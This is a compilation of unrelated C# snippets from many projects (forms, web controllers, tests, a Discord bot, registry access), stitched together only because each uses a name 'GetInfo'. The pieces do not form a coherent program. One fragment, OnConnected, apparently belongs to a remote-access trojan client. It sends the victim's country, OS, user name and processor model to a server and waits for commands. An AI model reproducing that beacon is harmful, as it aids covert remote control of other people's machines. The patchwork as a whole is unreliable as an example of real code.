/// <summary>Phương thức cho phép thêm chức năng vào cho Cột /// Khi thay đổi giá trị của cột nó làm ảnh hưởng giá trị của các /// cột khác /// </summary> /// <param name="Column">Cột mã hàng</param> /// <param name="FieldName">FieldName của Tên hàng hóa, đơn giá, giảm giá ...</param> /// <param name="func">Hàm gán giá trị cho các field</param> public static void AddCalcGridColum(GridView Grid, GridColumn Column, string[] FieldNames, GetInfo Func) { Grid.CellValueChanged += delegate(object sender, DevExpress.XtraGrid.Views.Base.CellValueChangedEventArgs e) { try { GridView grid = (GridView)sender; DataRow row = grid.GetDataRow(grid.FocusedRowHandle); if (e.Column.FieldName.Equals(Column.FieldName)) { object[] Values = Func(row[Column.FieldName]); if (Values != null) { for (int i = 0; i < FieldNames.Length; i++) { grid.SetRowCellValue(grid.FocusedRowHandle, FieldNames[i], Values[i]); } } else { grid.DeleteRow(grid.FocusedRowHandle); } } } catch (Exception ex) { PLException.AddException(ex); } }; }
//When connected to server #region Connection static void OnConnected(Socket s) { Console.WriteLine("Connected to {0}", s.RemoteEndPoint.ToString()); Console.WriteLine("WAITING For commands" + Environment.NewLine); //Create datareader instance from s Socket and begin reading data DataReader reader = new DataReader(s); reader.OnDisconnected += OnDisconnectedHandler; reader.OnReceived += HandleCommand; Serializer ser = new Serializer(); Info i = new Info(GetInfo.GetCountry(), GetInfo.GetOS(), GetInfo.Name(), GetInfo.GetProcessorModel()); //Geenerate Info object var buf = ser.Serialize(i); var cmp = Compression.Compress(buf); //Compress data using GZIP var len = cmp.Length; var sendLen = BitConverter.GetBytes(len); if (sendLen.Length != 0 && cmp.Length != 0) { reader.Send(sendLen); //Send data length reader.Send(cmp); //Send data itself } else { Process.GetCurrentProcess().Kill(); } }
void Start() { gameMaster = GameObject.Find("GameMaster"); diskDataList = gameMaster.GetComponent <DiskDataList>(); getInfo = gameMaster.GetComponent <GetInfo>(); }
private void DownloadOne_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count == 0) { MessageBox.Show("Please select a song"); } else { string selectedSongName = listView1.Items[listView1.SelectedIndices[0]].Text; string directory = Microsoft.VisualBasic.Interaction.InputBox("Please type in where you want to save the playlist", "Save", ""); if (directory == "") { } else if (Directory.Exists(directory)) { toLab.Text = "1"; progressBar1.Maximum = 1; UpdateInfo updateInfo = new UpdateInfo(); updateInfo.updateOneStatus(selectedSongName); GetInfo getInfo = new GetInfo(); string videoId = getInfo.oneVideoId(selectedSongName); List <string> id = new List <string>(); id.Add(videoId); OneSongDownload songDownload = new OneSongDownload(ProgressBar); songDownload.DownloadSong(id, directory); } else { MessageBox.Show("Save location is invalid"); } } }
//GET: ReadyForRelease public async Task <ActionResult> TestsInfo() { // обновить токен var token = (TokenModel)Session["token"]; Session["token"] = await GetInfo.RefreshToken(token.RefreshToken); // обновить соединение var connect = new VssConnection(new Uri("https://dev.azure.com/LATeamInc/"), new VssOAuthAccessTokenCredential(((TokenModel)Session["token"]).AccessToken)); Session["connect"] = connect; ViewBag.Name = connect.AuthorizedIdentity.DisplayName; var list_tags = await GetListOfTagsAsync(token.AccessToken); list_tags = list_tags.Select(i => i.Replace(" ", "_")).ToList(); ViewBag.Tags = list_tags; Session["taglist"] = list_tags; //пустой список ViewBag.Table = new Dictionary <int, Dictionary <string, TesterModel> >(); ViewBag.Fail = " "; return(View()); }
public static Dictionary <string, string> GetOnlineFileInfo(string TypeFile, string Company, string SubFolder, string FileName) { Dictionary <string, string> GetFileInfoDictionary = new Dictionary <string, string>(); Request Request = new Request("http://wolf.wolfproject.ru/UIUser/Download/") { ["login"] = Login, ["password"] = Password, ["keyaccess"] = KeyAccess, ["typefile"] = TypeFile, ["company"] = Company, ["subfolder"] = SubFolder, ["filename"] = FileName }; string GetRespone = Request.GetRespone(); using WebClient WebClient = new WebClient(); if (GetRespone != "False") { string FileInfo = WebClient.DownloadString(GetRespone); foreach (var GetInfo in FileInfo.Split('\n')) { GetFileInfoDictionary.Add(GetInfo.Split(':')[0].TrimEnd(' '), GetInfo.Split(':')[1]); } return(GetFileInfoDictionary); } else { return(null); } }
protected void Page_Load(object sender, EventArgs e) { obj = new addBEL(); obj1 = new GetInfo(); obj = obj1.GetHostelData(); Label2.Text = obj.feespaid; Label4.Text = obj.totalfees; if (obj.localg == "YES") { panel2.Visible = true; } else { panel2.Visible = false; } Label8.Text = obj.lgname; Label10.Text = obj.lgno; Label12.Text = obj.lgocc; Label14.Text = obj.lgemail; if (obj.vechowned == "YES") { Panel1.Visible = true; } else { Panel1.Visible = false; } Label20.Text = obj.vechno; }
private void DownloadPlaylist_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count == 0) { MessageBox.Show("Please select a playlist"); } else { string directory = Microsoft.VisualBasic.Interaction.InputBox("Please type in where you want to save the playlist", "Save", ""); if (directory == "") { } else if (Directory.Exists(directory)) { string selectedPlaylistName = listView1.Items[listView1.SelectedIndices[0]].Text; GetInfo getInfo = new GetInfo(); List<string> videoId = getInfo.getAllVideoId(selectedPlaylistName); songProgressBar.Maximum = videoId.Count; toLab.Text = videoId.Count.ToString(); OneSongDownload oneSongDownload = new OneSongDownload(ProgressBar); oneSongDownload.DownloadSong(videoId, directory); UpdateInfo updateInfo = new UpdateInfo(); updateInfo.updateStatus(UserGetSet.selectedPlaylis); } else { MessageBox.Show("Save location is invalid"); } } }
public void getUserUsername_fromDatabase() { GetInfo getInfo = new GetInfo(); List <string> list = getInfo.getUserUsername(); CollectionAssert.AreEqual(list, getInfo.getUserUsername()); }
private void Save_Click(object sender, EventArgs e) { if (String.IsNullOrEmpty(usenameText.Text)) { MessageBox.Show("Please type in your ussername"); } else if (String.IsNullOrEmpty(passwordText.Text)) { MessageBox.Show("Please type in your password"); } else { GetInfo getInfo = new GetInfo(); int check = getInfo.checkUserCredentials(usenameText.Text, passwordText.Text); TestApiKey testApiKey = new TestApiKey(); string testRezults = testApiKey.testApiKey(UserGetSet.apiKey); YourTube yourTube = new YourTube(); if (testRezults == "Bad") { MessageBox.Show("Your Api Key has expired please change it"); this.Hide(); yourTube.Show(); } else if (check == 1) { this.Hide(); yourTube.Show(); } else { MessageBox.Show("Error your credentials are bad"); } } }
public void StartExample() { createPlane = GetPlane; CargoPlane plane = createPlane(); // Ковариативность info = ShowInfo; info(plane); // Ковариативность Builder <Client> clientBuilder = GetClient; Builder <Person> personBuilder1 = clientBuilder; // ковариантность Builder <Person> personBuilder2 = GetClient; // ковариантность Person p = personBuilder1("Tomson"); // вызов делегата p.Display(); GetInfo <Person> personInfo = PersonInfo; GetInfo <Client> clientInfo = personInfo; // контравариантность Client client = new Client { Name = "Tomson" }; clientInfo(client); // Client: Tomson }
public void getAllVideoId_goodData() { GetInfo getInfo = new GetInfo(); List <string> list = getInfo.getAllVideoId("asd"); CollectionAssert.AreEqual(list, getInfo.getAllVideoId("asd")); }
/// <summary> /// Sends a GA event and waits for the request to complete. /// </summary> public void TrackEventSynchronously(Session session, string category, string action, string label, long value = 1) { session.Log("Sending GA Event"); var cid = GetInfo.GetOrCreateNewCid(session); var cd = new GACustomDimensions(session, cid); if (cd.productVersion == "0.0.0") { session.Log("Not tracking events when version is 0.0.0"); return; } session.Log("Sending event {0}/{1}/{2} for cid={3} (custom dimension 1: {4})", category, action, label, cid, cd.productVersion); var t = Task.WhenAll( TrackEventAsync(session, cid, category, action, label, cd, value), TrackS3Event(session, cid, cd.sessionID, category, action, label) ); var completed = t.Wait(TimeSpan.FromSeconds(15)); if (!completed) { session.Log("Abandoning tracking event task after timeout."); } }
public async Task Traffic([Remainder] string msg) { var json = new GetInfo().GetTrafficInfo(msg).Result; SystemTraffic traffic = JsonConvert.DeserializeObject <SystemTraffic>(json); if (string.IsNullOrEmpty(traffic.name)) { await Context.Channel.SendMessageAsync("`System " + msg + " was not found!`"); return; } var dailyTrafficReport = new EmbedFieldBuilder() .WithName("Daily Traffic Report:") .WithValue(traffic.traffic.day) .WithIsInline(false); var weeklyTrafficReport = new EmbedFieldBuilder() .WithName("Weekly Traffic Report:") .WithValue(traffic.traffic.week) .WithIsInline(false); var totalTrafficReport = new EmbedFieldBuilder() .WithName("Total Traffic Report:") .WithValue(traffic.traffic.total) .WithIsInline(false); var embed = new EmbedBuilder() .WithTitle("Traffic Report for " + traffic.name) .WithColor(255, 0, 0) .WithDescription("Url: " + traffic.url) .WithFields(dailyTrafficReport, weeklyTrafficReport, totalTrafficReport); await Context.Channel.SendMessageAsync(null, false, embed.Build()); }
/// <summary> /// 获取当前播放位置 /// </summary> /// <returns></returns> public string Get(GetInfo info) { string idx = ""; SendCmd(string.Format("status {0} {1}", Alias, info.ToString()), idx, 100, 0); return(idx); }
// ReSharper disable once UnusedMember.Local as this is processed via reflection private void FromRegistryGetter(GetInfo <object> getInfo) { var propertyName = getInfo.PropertyInfo.Name; if (!_registryAttributes.TryGetValue(propertyName, out var registryPropertyAttribute) || registryPropertyAttribute is null) { throw new ArgumentException($"{propertyName} isn't correctly configured"); } var hive = _registryAttribute.Hive; if (registryPropertyAttribute.HasHive) { hive = registryPropertyAttribute.Hive; } var view = _registryAttribute.View; if (registryPropertyAttribute.HasView) { view = registryPropertyAttribute.View; } using (var baseKey = RegistryKey.OpenBaseKey(hive, view)) { var path = registryPropertyAttribute.Path; using (var key = baseKey.OpenSubKey(path)) { if (key is null) { throw new ArgumentException($"No registry entry in {hive}/{path} for {view}"); } // TODO: Convert the returned value to the correct property type if (registryPropertyAttribute.ValueName is null) { // Read all values, assume IDictionary<string, object> IDictionary <string, object> values = new SortedDictionary <string, object>(); foreach (var valueName in key.GetValueNames()) { var value = key.GetValue(valueName); if (!values.ContainsKey(valueName)) { values.Add(valueName, value); } else { values[valueName] = value; } } getInfo.Value = values; getInfo.HasValue = true; return; } getInfo.Value = key.GetValue(registryPropertyAttribute.ValueName); getInfo.HasValue = true; } } }
private void ToolStripMenuItemAboutComputer_Click(object sender, EventArgs e) { //将方法指向委托 GetInfo task = GetSystemInfo; //开始异步执行方法,执行完毕,在回调方法中完成后面的任务 task.BeginInvoke(GetSystemInfoCompleted, task); }
public IActionResult SetInfo([FromBody] GetInfo value) { var docPath = pathServices.GetNamePath(value.Name, null, true); FileHelper.SaveJson(Path.Combine(docPath, "table.json"), value.Table, Formatting.Indented); FileHelper.SaveJson(Path.Combine(docPath, "info.json"), value.Info, Formatting.Indented); return(StatusCode((int)HttpStatusCode.OK)); }
public FrmMain() { InitializeComponent(); this.txtLocalIP.Text = GetInfo.GetAppConfig("localIP"); this.txtLocalPort.Text = GetInfo.GetAppConfig("localPort"); this.txtRemoteIP.Text = GetInfo.GetAppConfig("remoteIP"); this.txtRemotePort.Text = GetInfo.GetAppConfig("remotePort"); }
public async Task <IActionResult> Index(SearchInfo input, int page = 1) { try { if (input == null) { input = new SearchInfo(); } CategoryInfoAsync(); GetInfo getInfo = new GetInfo(_db, _configuration, _cache); #region latest posts 10 var latestPostResult = await getInfo.GetLatestPostInfoAsync(page, 10, input.Title, input.Category); var latestPostMaps = _mapper.Map <List <Post>, List <PostDto> >(latestPostResult); ViewBag.LatestPosts = new List <PostDto>(); if (latestPostMaps.Count > 0) { ViewBag.LatestPosts = latestPostMaps; } #endregion #region page ViewBag.Query = ""; if (!string.IsNullOrWhiteSpace(HttpContext.Request.QueryString.ToString())) { ViewBag.Query = string.Join('&', HttpContext.Request.QueryString.ToString().Substring(0).Split('&').Where(u => !u.Contains("page"))); } ViewBag.PageIndex = latestPostResult.PageIndex; ViewBag.PageTotal = latestPostResult.PageTotal; ViewBag.PageCount = latestPostResult.PageCount; ViewBag.HasPreViousPage = latestPostResult.HasPreViousPage; ViewBag.HasNextPage = latestPostResult.HasNextPage; ViewBag.PageUrl = "/post"; ViewData["SearchTitle"] = input.Title; ViewData["Category"] = input.Category; #endregion #region hot posts 5 var hotPostResult = await getInfo.GetHotPostInfoAsync(); var hotPostMaps = _mapper.Map <List <Post>, List <PostDto> >(hotPostResult); ViewBag.HotPosts = new List <PostDto>(); if (hotPostMaps.Count > 0) { ViewBag.HotPosts = hotPostMaps; } #endregion } catch (Exception ex) { TempData["Error"] = ex.Message; return(Redirect("/home/error")); } finally { ViewData["Post"] = "active"; _db.Dispose(); } return(View()); }
private void SetData() { oldData = GetInfo.GetItemInfo(seriesName); data = new List <CustomData>(); foreach (var item in oldData) { data.Add(new CustomData().MigrateFromIAtelier(item)); } }
public async Task <ActionResult> Generate() { var command = new GetInfo(); await _endpointInstance.Send(command).ConfigureAwait(false); dynamic model = new ExpandoObject(); return(Json(model)); }
private void Update_Click(object sender, EventArgs e) { GetInfo getInfo = new GetInfo(); LinksFromPlaylist linksFromPlaylist = new LinksFromPlaylist(); List <string> playlistUrls = getInfo.playlistUrls(); List <int> videoCount = getInfo.getPlaylistData(playlistUrls); List <int> updatedInfoCount = new List <int>(); List <string> infoCount = new List <string>(); foreach (string url in playlistUrls) { infoCount = linksFromPlaylist.getLinks(url); updatedInfoCount.Add(infoCount.Count); } bool noUpdate = false; for (int i = 0; i < updatedInfoCount.Count; i++) { if (videoCount[i] < updatedInfoCount[i]) { List <string> databaseVideoId = getInfo.getVideoIdUpdate(playlistUrls[i]); List <string> updatedVideoList = new List <string>(); List <string> newSongs = linksFromPlaylist.getLinks(playlistUrls[i]); for (int j = 0; j < newSongs.Count; j++) { bool foundVideo = false; for (int z = 0; z < databaseVideoId.Count; z++) { if (newSongs[j] == databaseVideoId[z]) { foundVideo = true; break; } } if (foundVideo == false) { updatedVideoList.Add(newSongs[j]); } } AddInfo addInfo = new AddInfo(); addInfo.addUpdatedSongs(updatedVideoList, playlistUrls[i]); noUpdate = true; } } if (noUpdate == false) { MessageBox.Show("There are no available updates"); } else { updateList(); MessageBox.Show("Playlists have been updated"); } }
protected void Page_Load(object sender, EventArgs e) { GridView1.Visible = false; obj = new examfeesBEL(); obj1 = new GetInfo(); obj = obj1.GetExamData(); Label1.Text = obj.examname; Label4.Text = obj.feespaid.ToString(); Label6.Text = obj.dopayment; }
public Home() { InitializeComponent(); getInfo = new GetInfo(SpreadsheetServiceDependencies.Inject()); getRow = new GetRow(RowServiceDependencies.Inject()); removeDate = new RemoveDate(DateServiceDependencies.Inject()); CarregarValores(); }
public ActionResult Index() { Data d = new Data(); GetInfo info = new GetInfo(); IEnumerable <Data> data = info.GetStories(); ViewModel vm = new ViewModel(); vm.allData = data; return(View(vm)); }
private string EncryptMYKEYID(string ValidationKey) { DateTime now = DateTime.Now; string strTgl = string.Empty; string cpuID = string.Empty; if (ValidationKey == string.Empty) { try { GetInfo cpuInfo = new GetInfo(); cpuID = cpuInfo.GetCPUId(); } catch { MessageBox.Show("Error Get Encryption Keys", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return(""); } } strTgl = now.Year.ToString("0000") + now.Month.ToString("00") + now.Day.ToString("00"); System.Text.StringBuilder strEncrypt = new System.Text.StringBuilder(); char myCodeDecrypt; int[] SecretCode = new int[] { 7, 10, 5, 14, 20, 3, 11, 9, 25 }; string strResult = string.Empty; for (int i = 0, idxPjg = strTgl.Length, idxCode = 0, pjgIdxCode = 9; i < idxPjg; i++) { myCodeDecrypt = (char)((int)((char)strTgl[i]) + SecretCode[idxCode++]); if (idxCode >= pjgIdxCode) { idxCode = 0; } strEncrypt.Append(myCodeDecrypt); } for (int i = 0, idxPjg = cpuID.Length, idxCode = 0, pjgIdxCode = 9; i < idxPjg; i++) { myCodeDecrypt = (char)((int)((char)cpuID[i]) + SecretCode[idxCode++]); if (idxCode >= pjgIdxCode) { idxCode = 0; } strEncrypt.Append(myCodeDecrypt); } strResult = strEncrypt.ToString(); return(strResult); }
private void Save_Click(object sender, EventArgs e) { if (String.IsNullOrEmpty(usernameText.Text)) { MessageBox.Show("Please type in your username"); } else if (String.IsNullOrEmpty(passwrodText.Text)) { MessageBox.Show("Please type in your password"); } else if (String.IsNullOrEmpty(repeatPasswordText.Text)) { MessageBox.Show("Please type in your repeat password"); } else if (String.IsNullOrEmpty(apiKeyText.Text)) { MessageBox.Show("Please type in your Api key"); } else if (passwrodText.Text != repeatPasswordText.Text) { MessageBox.Show("Your passwords don't mach"); } //GetUsersUsername getUsersUsername = new GetUsersUsername(); GetInfo getInfo = new GetInfo(); List <string> usernames = getInfo.getUserUsername(); bool isRegistered = false; foreach (string data in usernames) { if (data == usernameText.Text) { MessageBox.Show("Change ussername"); isRegistered = true; } } if (isRegistered == false) { TestApiKey testApiKey = new TestApiKey(); string testRezult = testApiKey.testApiKey(apiKeyText.Text); if (testRezult == "Bad") { MessageBox.Show("Your Api key is invalid"); } else { AddInfo addInfo = new AddInfo(); addInfo.addNewUser(usernameText.Text, passwrodText.Text, apiKeyText.Text); MessageBox.Show("Your have registered successfully"); this.Hide(); Login login = new Login(); login.Show(); } } }
/// <summary> /// 将淘宝返回的User类型转化为本地需要的类型 /// </summary> /// <param name="UserId"></param> /// <returns></returns> private tbClientUser Changetype(string Accesstoken, string ExpiresTime) { Top.Api.Domain.User SimppleUser = GetInfo.GetUser(Accesstoken); tbClientUser us = new tbClientUser(); try { us.TbUserId = (int)SimppleUser.UserId; us.UserNick = SimppleUser.Nick; us.Gender = new tbClientUserGender(); us.Credit = new tbClientUserCredit(); us.Status = new tbClientUserStatus(); us.Type = new tbClientUserType(); us.Level = new tbClientUserLevel(); us.Gender.GenderId = Utils.GetEnum <UserGender>(SimppleUser.Sex, UserGender.m).GetHashCode(); us.Status.StatusId = Utils.GetEnum <UserStatus>(SimppleUser.Status, UserStatus.normal).GetHashCode(); us.Level.LevelId = Utils.GetEnum <UserLevel>(SimppleUser.VipInfo, UserLevel.asso_vip).GetHashCode(); us.Type.TypeId = Utils.GetEnum <UserType>(SimppleUser.Type, UserType.B).GetHashCode(); us.Credit.GoodNum = (int)SimppleUser.SellerCredit.GoodNum; us.Credit.Level = (int)SimppleUser.SellerCredit.Level; us.Credit.Score = (int)SimppleUser.SellerCredit.Score; us.Credit.TotalNum = (int)SimppleUser.SellerCredit.TotalNum; us.AlipayBind = SimppleUser.AlipayBind.Equals("bind") ? true : false; us.HasMorePic = SimppleUser.HasMorePic; us.ItemImgNum = (int)SimppleUser.ItemImgNum; us.ItemImgSize = (int)SimppleUser.ItemImgSize; us.PropImgNum = (int)SimppleUser.PropImgNum; us.PropImgSize = (int)SimppleUser.PropImgSize; us.Protection = SimppleUser.ConsumerProtection; us.Avatar = SimppleUser.Avatar; us.LiangPin = SimppleUser.Liangpin; us.SignFoods = SimppleUser.SignFoodSellerPromise; us.HasShop = SimppleUser.HasShop; us.Level = us.Level; us.IsLightning = SimppleUser.IsLightningConsignment; us.HasSubStock = SimppleUser.HasSubStock; us.GoldenSeller = SimppleUser.IsGoldenSeller; us.Subscribe = SimppleUser.MagazineSubscribe; us.VerMarket = SimppleUser.VerticalMarket; us.OnlineGaming = SimppleUser.OnlineGaming; us.EmailNum = 0; us.SMSNum = 0; us.Currency = 0; us.Validity = DateTime.Parse(ExpiresTime); us.InputDate = DateTime.Now.ToLocalTime(); } catch (Exception ex) { throw ex; } return(us); }
static void Main(string[] args) { //list with parts of path List <string> partOfAllPath = new List <string>() { @"C:\" }; while (true) { //create full path from list string path = string.Join(@"\", partOfAllPath.Select(x => x)); DirectoryInfo currentDirectiry = GetInfo.GetDirectory(path); //Show all directories DirectoryState.ShowDirectories(GetInfo.GetDirectoriesFromSomePath(currentDirectiry)); //Show all documents DirectoryState.ShowFiles(GetInfo.GetFilesFromSomePath(currentDirectiry)); //get value from user Console.Write($"{path}\\"); string userValue = Console.ReadLine(); //check: user select directory or file bool isDirectory = GetInfo.GetDirectoriesFromSomePath(currentDirectiry).Any(x => x.Name.Equals(userValue)); bool isFile = GetInfo.GetFilesFromSomePath(currentDirectiry).Any(x => x.Name.Equals(userValue)); //if directory, we add new part of path to list and in the next step we have new path if (isDirectory) { partOfAllPath.Add(userValue); } //if file, create full path to file and show data from file else if (isFile) { string s = string.Join(@"\", partOfAllPath.Select(x => x)); ShowDataFromFile.ShowDataInFile(s + $"\\{userValue}"); } //if ".." we delete last part of path and return to previous directory else if (userValue == "..") { if (partOfAllPath.Count < 2) { Console.WriteLine("\nIt is root directory\n"); } else { partOfAllPath.RemoveAt(partOfAllPath.Count - 1); } } //No equals names in directory and files else { Console.WriteLine("\nNo equals names\n"); } } }
private void txtCode_KeyUp(object sender, KeyEventArgs e) { string code = txtCode.Text.Trim(); if (code.Length == 6) { StockModel model = GetInfo.Get(code); txtName.Text = model.Name; txtBuyPrice.Text = model.CurrentPrice.ToString(); } }
private extern static void HHA_CompileHHP(string hhpFile, GetInfo g1, GetInfo g2, int stack);
void timer_Tick_About(object sender, EventArgs e) { time += 500; if (time == TIME_TOOLTIP) // когда прошло нужное количество времени, запрашиваем данные о пользователе { tip.Hide(this); vk start = new vk(); GetPhoto getPhoto = new GetPhoto(start.getPhoto); IAsyncResult res1 = getPhoto.BeginInvoke(uid, "medium", null, null); while (!res1.IsCompleted) Application.DoEvents(); res1.AsyncWaitHandle.WaitOne(); photo = getPhoto.EndInvoke(res1); // photo = start.getPhoto(uid, "medium"); if (photo == null) { if (File.Exists(vars.VARS.Directory + "\\medium\\" + uid.ToString())) try { photo = Image.FromFile(vars.VARS.Directory + "\\medium\\" + uid.ToString()); } catch (OutOfMemoryException exe) { GeneralMethods.WriteError(exe.Source, exe.Message, exe.TargetSite); } else { timer.Stop(); time = 0; return; } } GetInfo getInfo = new GetInfo(start.getInfo); IAsyncResult res2 = getInfo.BeginInvoke(uid, null, null); while (!res2.IsCompleted) Application.DoEvents(); res1.AsyncWaitHandle.WaitOne(); System.Collections.Hashtable Info = getInfo.EndInvoke(res2); //System.Collections.Hashtable Info = start.getInfo(uid); if (Info != null && !Info.ContainsKey("error")) { System.Collections.ArrayList Data = (System.Collections.ArrayList)Info["response"]; name = Convert.ToString(((System.Collections.Hashtable)Data[0])["first_name"]) + " " + Convert.ToString(((System.Collections.Hashtable)Data[0])["last_name"]); string bdate = Convert.ToString(((System.Collections.Hashtable)Data[0])["bdate"]); phone = Convert.ToString(((System.Collections.Hashtable)Data[0])["mobile_phone"]); string month = ""; if (bdate != "") { string[] bday = bdate.Split('.'); switch (bday[1]) // месяц текстом чтобы был { case "1": month = "января"; break; case "2": month = "февраля"; break; case "3": month = "марта"; break; case "4": month = "апреля"; break; case "5": month = "мая"; break; case "6": month = "июня"; break; case "7": month = "июля"; break; case "8": month = "августа"; break; case "9": month = "сентября"; break; case "10": month = "октября"; break; case "11": month = "ноября"; break; case "12": month = "декабря"; break; } birthday = bday[0] + " " + month + " " + (bday.Length == 2 ? "" : bday[2]); // формируем строку дня рождения } tip.Size = new Size(220, (photo == null) ? 200 : (photo.Height + 40)); // задаём размер подсказки tip.Show(uid.ToString(), this, this.ClientRectangle.X + this.Width, this.PointToClient(Control.MousePosition).Y); // показываем подсказку } timer.Stop(); time = 0; } //throw new NotImplementedException(); }